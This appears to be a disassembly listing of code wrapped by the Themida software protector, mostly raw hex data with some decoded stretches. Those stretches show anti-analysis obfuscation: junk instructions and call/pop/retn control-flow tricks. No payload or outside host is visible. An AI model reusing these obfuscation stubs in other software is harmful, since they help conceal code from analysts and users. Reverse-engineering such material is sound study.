dd 16B2F181h, 0C08BFE8Bh, 201585C7h, 107E4h, 0B70F0000h dd 0E7B868C8h, 0B5FFCEE4h, 7E40DE1h, 3BDC858Dh, 0D0FF07E4h dd 23058589h, 858D07E4h, 7E73920h, 0DD858D50h, 5007E73Bh dd 168h, 595FF80h, 0B07E423h, 0C70A75C0h, 0E4026185h, 107h dd 0DBD46800h, 0B5FFC005h, 7E40DE1h, 3BDC858Dh, 0D0FF07E4h dd 1F98589h, 858D07E4h, 7E72B6Dh, 9DB5FF50h, 0FF07E401h dd 0E41B8195h, 74C00B07h, 8DD88B0Bh, 0E73B2085h, 0D3FF5007h dd 3B20858Dh, 836607E7h, 0A750938h, 2BFD85C7h, 107E4h dd 95FF0000h, 7E412C5h, 0FF25h, 5F88300h, 85C70A73h, 7E40101h dd 1, 5E59D29h, 816607E4h, 80964BC7h, 0BD80D0C1h, 7E7372Fh dd 3A840F00h, 33000000h, 0E401198Dh, 5D958907h, 8307E425h dd 0E73BD9BDh, 840F0007h, 2Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 51C35141h, 8B165F58h, 19CEE9F9h dd 0B5890000h, 7E414E9h, 2BFDBD83h, 0F0007E4h, 0E385h dd 0FE8B6600h, 36F9858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 788B1BC3h, 685C3395h dd 2EB950A6h, 0B200DAEFh, 0B6016A79h, 66006A5Fh, 35C8DF81h dd 3860Fh, 0C6800000h, 6A006A1Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F7C355h dd 20998D8Bh, 95FF07E4h, 7E40E6Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0EDC35040h, 0C35E3F64h, 0B39C177h dd 0E40455BDh, 81EF8107h, 8916AE47h, 0E7372385h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 6A17E035h, 15BD8BFFh, 0FF07E40Bh, 0E73723B5h dd 41BD8B07h, 0FF07E422h, 0E4304D95h, 2EF18007h, 2B34858Dh dd 0BA6607E7h, 0ECB566F0h, 7DBD8B50h, 0FF07E415h, 0E41BD595h dd 0A8BF6607h, 0BE858916h, 8907E72Bh, 0E42AF9B5h, 41858D07h dd 8A07E72Bh, 0FFFC50F1h, 0E72BBEB5h, 8195FF07h, 0F07E41Bh dd 58Ah, 0D7816600h, 85899182h, 7E4230Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 6695A952h dd 0F935F781h, 0FE9h, 84A2E000h, 48703389h, 818263CEh dd 22255AF6h, 2BAF858Dh, 8E907E7h, 42000000h, 0EFC0495Ah dd 501B3BC6h, 8E9h, 7C9FCF00h, 39789F6Bh, 28E0F28h, 0B2000000h dd 0BEB5FF26h, 8907E72Bh, 0E4041195h, 0D0B70F07h, 1B8195FFh dd 8C0F07E4h, 3, 8BC8B70Fh, 0E40A758Dh, 0D2858907h, 6A07E72Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0D531C353h, 9A17492Bh, 8DF615A4h, 0E72B8E85h dd 958B5007h, 7E42139h, 0E758D8Bh, 0B5FF07E4h, 7E72BBEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C7C35545h dd 0B589FB67h, 7E429DDh, 1B8195FFh, 870F07E4h, 18h, 13E9h dd 420B0400h, 0E29EB7B2h, 0EC583849h, 3295A127h, 9082A072h dd 2BCA8589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0DD4E9BC3h, 0E57DE5E5h, 8DCBB70Fh dd 0E72B8185h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 36AB86B7h, 458D8966h dd 5007E405h, 0B5D98166h, 0BEB5FF52h, 6A07E72Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 9F76C351h, 158139Dh, 0FEA1BA2h, 95FFCFBFh, 7E41B81h dd 7AC5B966h, 0C1958B57h, 5A07E407h, 2BCE8589h, 0BD8B07E7h dd 7E42449h, 2B9C858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 958B66C3h, 7E41639h dd 0CE8B6650h, 2BBEB5FFh, 8F0F07E7h, 4, 1CECBA66h, 0A35B589h dd 95FF07E4h, 7E41B81h, 89D0BF0Fh, 0E4192185h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 342F44A1h, 785ED287h, 198D896Eh, 8D07E426h, 0E72B5085h dd 1958B07h, 5007E414h, 23959589h, 8E907E4h, 46000000h dd 0E5B5F7F0h, 0FFB31A0Dh, 0E72BBEB5h, 0BAD7B207h, 2DE41F89h dd 1B8195FFh, 860F07E4h, 8, 0FD850950h, 5A07E419h, 2BC28589h dd 0F78107E7h, 0F2C295Dh, 2B5F858Dh, 958907E7h, 7E408CDh dd 0FF9CB650h, 0E72BBEB5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E626D2BFh dd 60C3E38Fh, 8FE88166h, 0CE8D4h, 89E90000h, 832C86AEh dd 9DF9ED24h, 8D89C81Dh, 7E42B49h, 95FF615Fh, 7E41B81h dd 8D952952h, 5A07E421h, 2BC68589h, 0CE807E7h, 0B7000000h dd 0F1932ECDh, 604F5CA8h, 89A2D59Eh, 0E426E5B5h, 4685907h dd 0E9000001h, 0Ah, 4F525438h, 3EB2F386h, 858D9B2Ch, 7E72C56h dd 0FB8B6653h, 9589505Ah, 7E430BDh, 2D5A858Dh, 0B15707E7h dd 6A5059ADh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5A90C351h, 2F27FAFFh, 0FFF88B66h dd 0E413AD95h, 0FFB70F07h, 850FC085h, 4, 9CF6BF66h, 372FBD80h dd 0F0007E7h, 1685h, 99D0900h, 0E907E414h, 1504h, 18D9B589h dd 7BF07E4h, 83543D2Dh, 0E42BFDBDh, 850F0007h, 1Ch, 1981958Bh dd 0BD8307E4h, 7E73BD9h, 28840F00h, 9000000h, 0E4234195h dd 5FF85307h, 2BF3858Dh, 8B6607E7h, 14C2E9FEh, 85890000h dd 7E42EE1h, 0CE9h, 5D958B00h, 8D07E40Ah, 0E72BDE85h, 0BD315007h dd 7E424F9h, 2C56858Dh, 0EE907E7h, 0F000000h, 0D1FBC6AFh dd 0C3C2342Ch, 835C3CFBh, 9D895094h, 7E40B89h, 2C39958Bh dd 0BD8307E4h, 7E42BFDh, 67840F00h, 0E8000000h, 8, 2AAAFB01h dd 0C0341AF4h, 0CBE2F181h, 8D596C92h, 0E72D7C85h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0BD29F9D3h, 7E40D65h, 39E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0B4205619h dd 0EDA0C361h, 858DCFFDh, 7E72D65h, 8860Fh, 8D0F0000h dd 2, 33506160h, 0E40DE5BDh, 0B4858D07h, 8907E72Dh, 0E4017985h dd 519D0107h, 5007E418h, 28F0Fh, 0D38A0000h, 216995FFh dd 83F907E4h, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 212EABC3h, 0DF1958Bh, 8BF907E4h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 31F57FD6h, 0E4232DBDh, 0F1BD8307h, 7E413h dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h, 7D3h, 14798589h dd 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h dd 0B8535017h, 7D3h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh dd 3B1208BFh, 82D98072h, 8B5FCA80h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0A10E7C14h dd 8166813Eh, 81656BD2h, 0E72BDEBDh, 65726F07h, 90840F61h dd 0F000000h, 0BF0FF9B7h, 56858DF9h, 5007E72Ch, 2D93858Dh dd 8D5007E7h, 0E72DB485h, 95FF5007h, 7E42169h, 0C60CC483h dd 0E42C2D85h, 4F684407h, 0FF96A318h, 0E4019DB5h, 0DC858D07h dd 0FF07E43Bh, 8DD88BD0h, 0E72DB485h, 0D3FF5007h, 2BDE858Dh dd 8D5007E7h, 0E72C5685h, 0BD835007h, 7E42BFDh, 8D087400h dd 0E72D7C85h, 8D06EB07h, 0E72D6585h, 858D5007h, 7E72DB4h dd 6995FF50h, 8307E421h, 840F10C4h, 5, 0B8E28166h, 0F1BD29CCh dd 0FF07E414h, 0E412C595h, 9CF18107h, 2570AE21h, 0FFh dd 42D8D8Bh, 0F88307E4h, 57830F05h, 3000000h, 0E4094DBDh dd 185C707h, 107E401h, 8D000000h, 0E72C1285h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1D1BCB85h, 0DD9BADA6h, 0AE9D0h, 67260000h, 737D13D0h dd 87A9F9Dh, 70E9h, 55EF8100h, 0F061152h, 0BD83D7B7h, 7E42BFDh dd 43840F00h, 0F000000h, 58Bh, 0B70F5700h, 858D59F9h, 7E72C3Dh dd 0E119D89h, 0BD2B07E4h, 7E4153Dh, 38E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 6657D411h, 858DD08Bh, 7E72C1Fh, 0CE9h, 31DD8200h, 3E49F038h dd 289608F9h, 52858979h, 6A07E72Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 5BB5C350h dd 83D68B66h, 0E42BFDBDh, 850F0007h, 42h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h, 0F415B268h dd 8B6694FFh, 8E9FEh, 0A74A0000h, 4D3C1A6Ch, 0BD830724h dd 7E73BD9h, 0E840F00h, 0F000000h, 9E9CFB7h, 89000011h dd 0E4328D85h, 441E907h, 49B20000h, 0BA66C08Bh, 0DA81104Eh dd 0A1CD5F4h, 13F1BD83h, 750007E4h dd 35BD8309h, 7E409h, 53501974h, 0D4B8C08Bh, 89000007h dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh dd 17740007h, 0D4B85350h, 89000007h, 0E4147985h, 0DF9D8D07h dd 0FF07E6E6h, 81585BD3h, 9EC76DD7h, 0C88B663Fh, 8B53C08Bh dd 3F6859D7h, 6A000F00h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0E6D4C351h, 0CFA7831Dh dd 0E93CCCB3h, 0Fh, 0F756F6D5h, 1332DC4Bh, 7FB3D0C7h, 89DB1E4Ch dd 0E42B71BDh, 0B5006A07h, 89006ABCh, 0E40A859Dh, 0D95FF07h dd 6A07E423h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0F82BC352h, 850FC085h, 11h, 5820Fh dd 81660000h, 23EEA5F2h, 0E430658Dh, 0D6858907h, 6607E72Bh dd 0FC3991BAh, 9589006Ah, 7E42A39h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 241E3FC3h dd 0C364B19Eh, 58E0Fh, 81660000h, 6A63A0D7h, 0CA8B6600h dd 0BD09006Ah, 7E40B3Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0F3FD09C3h, 0BA664F53h dd 858D0585h, 7E72DB4h, 19399D89h, 0E95007E4h, 5, 7A9A75ADh dd 0E8016AC5h, 0Ah, 0DC9887CAh, 72AB6249h, 0B5895EDFh dd 7E42735h, 29016A5Fh, 0E4053DBDh, 0E9016A07h, 0Ch, 6504A0A4h dd 0F09A4BB5h, 1F72EBFBh, 0F01FF68h, 98D8B00h, 8307E423h dd 0E42BFDBDh, 840F0007h, 4Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 42C35343h, 10E8h, 4BDA4700h dd 5C9D5E31h, 373EDF12h, 9C7E7AEDh, 0E595336Ch, 5F07E415h dd 2C33858Dh, 0BF0F07E7h, 1AE9FAh, 95890000h, 7E40AF9h dd 2C09858Dh, 0B6007E7h, 0E4056D9Dh, 618D8B07h, 6107E401h dd 0E8F18050h, 7D58050h, 2BD6B5FFh, 0B95207E7h, 2B2CF16Ah dd 0C295FF5Ah, 3107E72Bh, 0E41E19BDh, 0FC08507h, 1785h dd 68B0F00h, 29000000h, 0E421BD8Dh, 4DE907h, 8D890000h dd 7E42561h, 2BDA8589h, 0BF6607E7h, 0B5FF8A70h, 7E72BDAh dd 95FF71B6h, 7E41921h, 0D2B7D781h, 0C0856890h, 21850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0A36B7C3h, 6AF5C8C4h, 35952310h, 8307E41Eh dd 0E42BFDBDh, 840F0007h, 3Bh, 2C33858Dh, 6A07E7h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0FD345DC3h, 0A83BBDB0h, 0BD891D76h, 7E4089Dh, 32E9h dd 9ECA8100h, 8D7DDA32h, 0E72C0985h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 678A4273h dd 0F1BD2984h, 5007E41Bh, 0B5FFF38Ah, 7E72BD6h, 0FBBEB6BFh dd 0CE95FF3Ah, 2907E72Bh, 0E422359Dh, 0C085F507h, 2A850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0A4F8D2C3h, 80089A73h, 0C2812CD2h, 4646C2B9h dd 2BDA8589h, 8D8B07E7h, 7E407A5h, 0AE9006Ah, 26000000h dd 3DCB67D7h, 0D137B2C2h, 0C59533D0h, 6A07E420h, 0B5FFFC00h dd 7E72BDAh, 1658D2Bh, 95FF07E4h, 7E72BC6h, 0C085D78Bh dd 23850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8BD569C3h, 0E4219D95h, 0DAB5FF07h dd 0BA07E72Bh, 49D99753h, 192195FFh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0BCEA3CC3h dd 8C14ABECh, 0FC08584h, 2685h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 15BBA910h dd 0BFBFE88Ah, 6A0B206Dh, 0D1952900h, 6807E423h, 80h, 8E9h dd 0C7FF9D00h, 0FFA5479Ch, 6AD68B1Fh, 810F03h, 6A000000h dd 0FE8B6600h, 0BD89006Ah, 7E41609h, 68h, 50006AC0h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 4550B265h, 7FC7B8FCh, 13E99D30h, 0A1000000h, 0AE2E2EAEh dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0B5FFD97Ch, 7E72C52h dd 14D9B589h, 95FF07E4h, 7E41FD5h, 0FFFF883h, 56A85h, 6820F00h dd 8B000000h, 0E426758Dh, 0C085FF07h, 8307E736h, 0E736C0BDh dd 840F0207h, 477h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 92C35747h, 80B2705Dh, 0C2818FC6h, 57623984h dd 243B858Dh, 8166005Bh, 0FFB08ECAh, 8D24B6D0h, 5B1E8E85h dd 9E800h, 0C9F70000h, 8C310934h, 899E7BB3h, 0E419AD85h dd 0D0FF5A07h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 3C35141h, 43484B73h, 24122B48h, 611CD781h, 0C08B18D4h dd 818BEA80h, 1C8E36CAh, 0F1BD835Ch, 7E413h, 0BD830975h dd 7E40935h, 50197400h, 0B8C08B53h, 7D8h, 14798589h, 9D8D07E4h dd 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h dd 7D8h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B9C35747h, 0BF66BF4Dh dd 0C08B7AACh, 165DBD8Bh, 3F6807E4h, 6A000F00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 479C352h, 0B13DC8ACh, 8D8B6D49h, 7E4188Dh, 9D89006Ah dd 7E40199h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 63A8FEC3h, 370EFAB4h, 230D95FFh dd 0C08507E4h, 0DE8h, 0FED26700h, 9689617Ah, 0E2CBC6FFh dd 8960D2F4h, 0E42301BDh, 0BE907h, 5D9F0000h, 154AB9BBh dd 0AF4668FCh, 895F6117h, 0E72BD685h, 576DBA07h, 0FF6803D5h dd 81000F01h, 5B5A55F1h, 0CA816644h, 0BD83C158h, 7E42BFDh dd 4A840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2DFBC352h, 0A463D86Ch dd 0F9286BCh, 680h, 0A98D3300h, 8907E42Fh, 0E43051B5h dd 33858D07h, 0F07E72Ch, 41E9CEBFh, 89000000h, 0E40DA99Dh dd 9858D07h, 6A07E72Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 4646C353h, 0C76813EDh dd 0E0694EAFh, 0E9D3B70Fh, 8, 0F07BFDC1h, 67000B12h, 4D8D0350h dd 0FF07E427h, 0E72BD6B5h, 0BDB52907h, 0FF07E422h, 0E72BCE95h dd 68B0F07h, 8B000000h, 0E4266995h, 11BD8B07h, 8907E42Eh dd 0E72BDA85h, 0DA816607h, 85C72ADDh, 7E41831h, 0 ; --------------------------------------------------------------------------- mov di, 0CD1Bh cmp dword ptr [ebp+7E72BDAh], 0 jz loc_5B860C pusha cmc mov ch, 6Bh popa lea eax, [ebp+7E72EB8h] sub di, 816Bh push eax mov edi, [ebp+7E42115h] push 1 push 0 push edx call sub_5B844D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B844D proc near ; CODE XREF: Themida_:005B8445p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B844D endp ; --------------------------------------------------------------------------- db 20h, 29h, 8Dh dd 7E42165h, 0BE8h, 0B8924E00h, 45D4AF0Dh, 5FBF0D48h, 0E2C494BFh dd 0B5FF594Eh, 7E72BDAh, 0D295FFFCh, 107E72Bh, 0E400FD8Dh dd 0DAB5FF07h, 0F807E72Bh, 192195FFh, 820F07E4h, 6, 111B529h dd 0FF6807E4h, 81000F01h, 0C1F795C9h, 0FDBD835Bh, 7E42Bh dd 2A840Fh, 0CE90000h, 3E000000h, 9120E2Fh, 0C00C5A17h dd 8D6A3E48h, 0E72C3385h, 2800F07h, 0B2000000h, 5BE95Eh dd 0BD8B0000h, 7E4181Dh, 2C09858Dh, 6A07E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0D187C3h dd 12E9EDh, 0F5200000h, 976E2100h, 0CA97D276h, 0CECE0DD1h dd 20A3C49h, 14E9h, 0AAAD4F00h, 0ACAECF6Ch, 4892FEBAh dd 5C51CD80h, 27CC0C06h, 6A50C1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F53D24C3h, 6B93487Bh dd 0D6B5FF24h, 6A07E72Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 760BC356h, 707E062Eh dd 0FC3135ADh, 0A630BF66h, 2BCE95FFh, 6A07E7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B868CEC3h, 9E823h, 0A6A60000h, 6E406420h, 6604F380h dd 665FCB8Bh, 89FC64BAh, 0E72BDA85h, 55BD2B07h, 8B07E41Dh dd 0E40D7D95h, 0DAB5FF07h, 907E72Bh, 0E40125BDh, 0CA95FF07h dd 8907E72Bh, 0E426419Dh, 0DAB5FF07h, 8907E72Bh, 0E418159Dh dd 2195FF07h, 6607E419h, 4358CA81h ; --------------------------------------------------------------------------- loc_5B860C: ; CODE XREF: Themida_:005B8423j jmp near ptr dword_5B74C8+7ECh ; --------------------------------------------------------------------------- sub [ebp+7E40DE5h], esi push dword ptr [ebp+7E73723h] add edx, 5B6AC89Ch call dword ptr [ebp+7E43061h] mov edi, [ebp+7E40291h] mov eax, [ebp+7E42215h] push 0 push edi call sub_5B8640 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8640 proc near ; CODE XREF: Themida_:005B8638p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5B8640 endp ; --------------------------------------------------------------------------- dd 0CCC8D57Ch, 44E98483h, 8B000005h, 0BD8D89F9h, 8D07E406h dd 0E72ED8B5h, 0ADB58907h, 107E424h, 0E42EED95h, 0D6858D07h dd 2907E6DBh, 0E4159D95h, 99952907h, 0FF07E431h, 93ED80D0h dd 0F781006Ah, 2EAE174Ah, 166595FFh, 8B6607E4h, 89F38BCEh dd 0E421F5B5h, 0D6858D07h, 8B07E6DBh, 0E4008995h, 29D0FF07h dd 0E405F9B5h, 6A006A07h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 7755C350h, 6850FB3h dd 89000000h, 0E408ED85h, 6595FF07h, 8B07E416h, 83CA8BC0h dd 0E413F1BDh, 9750007h, 935BD83h, 740007E4h, 8B535019h dd 7D9B8C0h, 85890000h, 7E41479h, 0E9F09D8Dh, 0D3FF07E6h dd 0BD83585Bh, 7E40935h, 50177400h, 7D9B853h, 85890000h dd 7E41479h, 0E6DF9D8Dh, 0D3FF07E6h, 9531585Bh, 7E40455h dd 99BD8950h, 5A07E401h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0B7AD8AC3h, 50FFB70Fh dd 2C698D8Bh, 0CE8B07E4h, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0D5602CC3h, 0B0BA8614h dd 29958B30h, 5307E423h, 2E59D8Dh, 38B07E4h, 438B0389h dd 50438950h, 36BC9D8Dh, 38B07E7h, 0BF5B0389h, 909A0E4h dd 1275BD89h, 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0F6C35141h, 0E91EF8BCh, 0Fh, 0ACAECF6Ch dd 4892FEBAh, 5C51CD80h, 2BCC0C06h, 0E40D7DBDh, 0BC858D07h dd 0B107E736h, 958D89BCh, 5007E42Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 88C35646h, 0A84299AFh, 8951F4B7h dd 0E42F919Dh, 89606A07h, 0E43311B5h, 0E5858D07h, 907E402h dd 0E42D2985h, 0FB8B5007h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 9529E7C3h dd 7E414E9h, 0B850Fh, 820F0000h, 5, 5C99C8B9h, 89006A5Eh dd 0E42299B5h, 18006807h, 8D8B0000h, 7E42639h, 0DE95253h dd 0E6000000h, 67661CD9h, 0D6868890h, 96FFE6D6h, 595FF5Fh dd 0E907E414h, 8, 51A10BF9h, 0EE2B14E8h, 0F1958960h, 8907E431h dd 0E42DE99Dh, 95FF6107h, 7E40971h, 26D5958Bh, 0B5FF07E4h dd 7E73723h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 31C35242h, 5882568h, 81B11D9Ch, 89A8E3F7h, 0FBBF0F52h dd 0FFD68B66h, 0E4306195h, 0D58D0107h, 8D07E412h, 0E402E585h dd 6860F07h, 8B000000h, 0E42689BDh, 18408B07h, 25018D89h dd 85C707E4h, 7E4065Dh, 0 ; --------------------------------------------------------------------------- movsx ecx, di cmp dword ptr [ebp+7E42BFDh], 0 jz loc_5B8991 push 0 push edi call sub_5B895B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B895B proc near ; CODE XREF: Themida_:005B8953p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5B895B endp ; --------------------------------------------------------------------------- align 4 jge short near ptr byte_5B8990 mov cx, 43DCh cmp eax, 8Ch jnb loc_5B8ADE jmp loc_5B89A2 ; --------------------------------------------------------------------------- dw 8A0Fh dd 9, 3800Fh, 0CD800000h byte_5B8990 db 0Ah ; CODE XREF: Themida_:005B896Cj ; --------------------------------------------------------------------------- loc_5B8991: ; CODE XREF: Themida_:005B894Aj cmp eax, 98h jnb loc_5B8ADE mov ecx, [ebp+7E41A85h] loc_5B89A2: ; CODE XREF: Themida_:005B897Dj lea eax, [ebp+5B243Bh] mov edi, [ebp+7E4191Dh] call eax movsx ecx, bx lea eax, [ebp+5B1E8Eh] or [ebp+7E4191Dh], edi call eax push 0 push edi call sub_5B89CC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B89CC proc near ; CODE XREF: Themida_:005B89C4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5B89CC endp ; --------------------------------------------------------------------------- dd 8DF2989Dh, 91D2A022h, 69958B9Ch, 8B07E42Ch, 0CBB966C0h dd 12E9D2h, 70AD0000h, 98B35BE2h, 0ACC8138h, 159D4132h dd 579E1275h, 13F1BD83h, 750007E4h, 35BD8309h, 7E409h dd 53501974h, 0C6B8C08Bh, 8900000Bh, 0E4147985h, 0F09D8D07h dd 0FF07E6E9h, 83585BD3h, 0E40935BDh, 17740007h, 0C6B85350h dd 8900000Bh, 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 8B585BD3h dd 0E424298Dh, 69BD8907h, 8B07E418h, 0FB8B66C0h, 1CA5B589h dd 0F88307E4h, 4C850FFFh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 3DF9C356h dd 0F114DEB8h, 0C7F7C680h, 0E42A7585h, 7, 6830F00h, 81000000h dd 0A8C5B3E2h, 9AE96Fh, 0BD890000h, 7E41EB1h, 17E9h, 835A5200h dd 850F01F8h, 0Ch, 0ABD9523h, 0CCE907E4h, 0F9000000h, 0FFF1DBE9h dd 3E24BFFFh db 0BEh, 39h ; --------------------------------------------------------------------------- loc_5B8ADE: ; CODE XREF: Themida_:005B8977j ; Themida_:005B8996j mov eax, eax mov edx, [ebp+7E41F39h] cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5B8AF8 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B8B11 loc_5B8AF8: ; CODE XREF: Themida_:005B8AEDj push eax push ebx mov eax, eax mov eax, 7DDh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E9F0h] call ebx ; _iob pop ebx pop eax loc_5B8B11: ; CODE XREF: Themida_:005B8AF6j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B8B31 push eax push ebx mov eax, 7DDh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E6DFh] call ebx ; _iob pop ebx pop eax loc_5B8B31: ; CODE XREF: Themida_:005B8B18j movsx edx, bx mov eax, eax mov ecx, 1572F4BBh mov [ebp+7E41FD9h], esi jmp loc_5B8DB0 ; --------------------------------------------------------------------------- mov [ebp+7E40E4Dh], ebx lea eax, [ebp+7E734C0h] push 0 push ebx call sub_5B8B5D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8B5D proc near ; CODE XREF: Themida_:005B8B55p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5B8B5D endp ; --------------------------------------------------------------------------- db 34h, 55h, 2Fh ; --------------------------------------------------------------------------- mov edi, 0CE9h loc_5B8B75: ; CODE XREF: Themida_:005B8B7Bj add [ecx+59774B10h], ch loope loc_5B8B75 ; --------------------------------------------------------------------------- db 0CDh, 0B9h, 24h dd 858968F3h, 7E736B8h, 1C51958Bh, 858907E4h, 7E418FDh dd 55E9h, 7D8D8900h, 8D07E41Ch, 0E732C885h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0BADA3444h, 0F8DC89Ch, 83h, 7D850100h, 0BF07E416h, 225F77F7h dd 459D8940h, 8907E403h, 0E736B885h, 0CEB70F07h, 49AFE981h dd 346A304Ch, 30C1858Dh, 0FF5007E4h, 0E736B8B5h, 0FF006A07h dd 0E4216195h, 7F88307h, 168840Fh, 8C660000h, 4C3F6DBh dd 102850Fh, 85C60000h, 7E42C2Dh, 0B8526856h, 0B5FF9CA8h dd 7E4019Dh, 3BDC858Dh, 0D0FF07E4h, 68046Ah, 6A000010h dd 0FF006A64h, 2B8589D0h, 0C607E737h, 0E42C2D85h, 9B684707h dd 0FFEC18ACh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 8BD0FFD0h dd 2D85C6F0h, 4F07E42Ch, 2F266168h, 0E1B5FFC6h, 8D07E40Dh dd 0E43BDC85h, 8DD0FF07h, 0E737279Dh, 286A5307h, 85D0FF56h dd 0C60075C0h, 0E42C2D85h, 98684107h, 0FFDB8764h, 0E40DE1B5h dd 0DC858D07h, 